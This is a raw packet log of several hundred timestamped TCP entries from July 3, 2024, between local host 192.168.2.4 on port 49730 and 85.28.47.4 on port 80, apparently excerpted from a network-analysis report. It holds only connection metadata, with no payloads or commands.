Jul 3, 2024 23:58:58.154028893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.164894104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.164926052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.164978027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165011883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165044069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165049076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165049076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165049076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165077925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165097952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165097952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165111065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165122032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165147066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165157080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165180922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165191889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165230989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165285110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165333033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165334940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165368080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165383101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165400982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165417910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165435076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.165450096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.165474892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176593065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176646948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176680088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176748991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176754951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176754951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176754951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176783085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176814079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176817894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176821947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176851034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176862955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176888943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.176898956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176939011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.176973104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177006006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177017927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177053928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177098036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177130938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177146912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177164078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177170992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177198887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177213907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177234888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177246094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177299976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177299976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177349091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177352905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177386999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177405119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177421093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177434921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177453995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177469969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177490950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177495956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177524090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177541018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177558899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177568913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177596092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177607059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177640915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177670002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177721024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177721977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177753925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177769899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177798986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177848101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177884102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177902937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177917004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177931070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.177956104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.177966118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.178005934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.178008080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.178042889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.178056955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.178092003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188114882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188162088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188225985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188278913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188318968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188333035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188353062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188369036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188385010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188417912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188431025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188461065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188468933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188523054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188533068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188568115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188585043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188601017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188616037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188638926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188642979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188689947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188689947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188729048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188736916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188779116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188781977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188815117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188829899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188847065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188854933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188880920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188898087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188915014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188927889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188950062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188966990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.188983917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.188997984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189018965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189028978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189069986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189104080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189136028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189155102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189167976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189171076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189205885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189213991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189241886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189258099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189275026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189291954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189310074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189321995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189356089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189476967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189510107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189529896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189544916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189557076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189589977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189625025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189656973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189676046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189690113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189694881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189723969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189739943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189759016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189773083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189794064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189807892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189829111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189840078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189865112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189879894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189898968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189908981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189933062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189946890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.189966917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.189982891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190011978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190243959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190277100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190298080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190310955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190319061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190359116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190376043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190408945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190428019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190442085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190450907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190478086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190489054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190526009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190572023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190604925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190627098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190637112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190648079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190671921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190685034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190706015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190721989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190742016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190749884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190776110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.190790892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.190824032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.193865061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.193914890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.193919897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.193953991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.193970919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.193981886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.193995953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.193999052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.194011927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.194020987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.194027901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.194035053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.194047928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.194067001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247366905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247396946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247428894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247458935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247610092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247642994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247665882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247675896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247687101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247710943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247721910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247761965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247762918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247807980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.247812033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.247863054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.258886099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.258920908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.258945942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.258954048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.258979082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259000063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259004116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.259040117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259042025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.259077072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.259080887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259118080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259144068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.259176016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.259187937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.259212971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270520926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270587921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270637989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270669937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270669937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270672083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270721912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270728111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270728111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270759106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270775080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270792961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270801067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270828962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270833015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270864964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270870924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270900011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.270905018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.270941973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271008015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271039963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271058083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271069050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271073103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271106958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271116018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271142960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271148920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271173000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271183014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271214008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271224022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271256924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271267891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271291018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271301031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271326065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271337032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271365881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271379948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271416903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271430969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271440029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271456003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271486998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271518946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271531105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271553040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271558046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271588087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271596909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271625042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271631002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271667004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271675110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271708965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271718979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271742105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271750927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271776915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271785975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271811008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271819115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271852016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271866083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271900892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271919966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271933079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271943092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.271969080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.271975040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.272008896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282144070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282198906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282200098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282249928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282267094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282284975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282299995 CEST	49730	80	192.168.2.4	85.28.47.4
